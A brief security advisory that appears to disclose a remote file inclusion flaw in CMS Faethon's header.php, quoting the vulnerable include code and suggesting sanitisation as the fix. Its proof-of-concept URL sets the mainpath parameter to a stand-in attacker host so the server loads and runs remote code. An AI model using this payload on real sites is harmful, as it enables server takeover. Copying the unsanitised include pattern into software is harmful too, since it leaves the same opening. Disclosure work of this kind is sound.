~~~~~~~~~~~~~~~~

in folder data we found vulnerability script header.php.

-----------------------header.php----------------------
....
<?php
        include($mainpath . 'survey.php');
        ?>
        <h2>RSS - cmsfaethon.com</h2>
        <div class="rss-menu">
                <?php
                $source = 'http://cmsfaethon.com/feed/articles/rss2.php?LangSet=cs';
                include($mainpath . 'rss-reader.php');

----------------------------------------------------------

Variables $mainpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~~

http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://attacker.com/evil.txt?

Solution:
~~~~~~~~~

sanitize variabel $mainpath in header.php
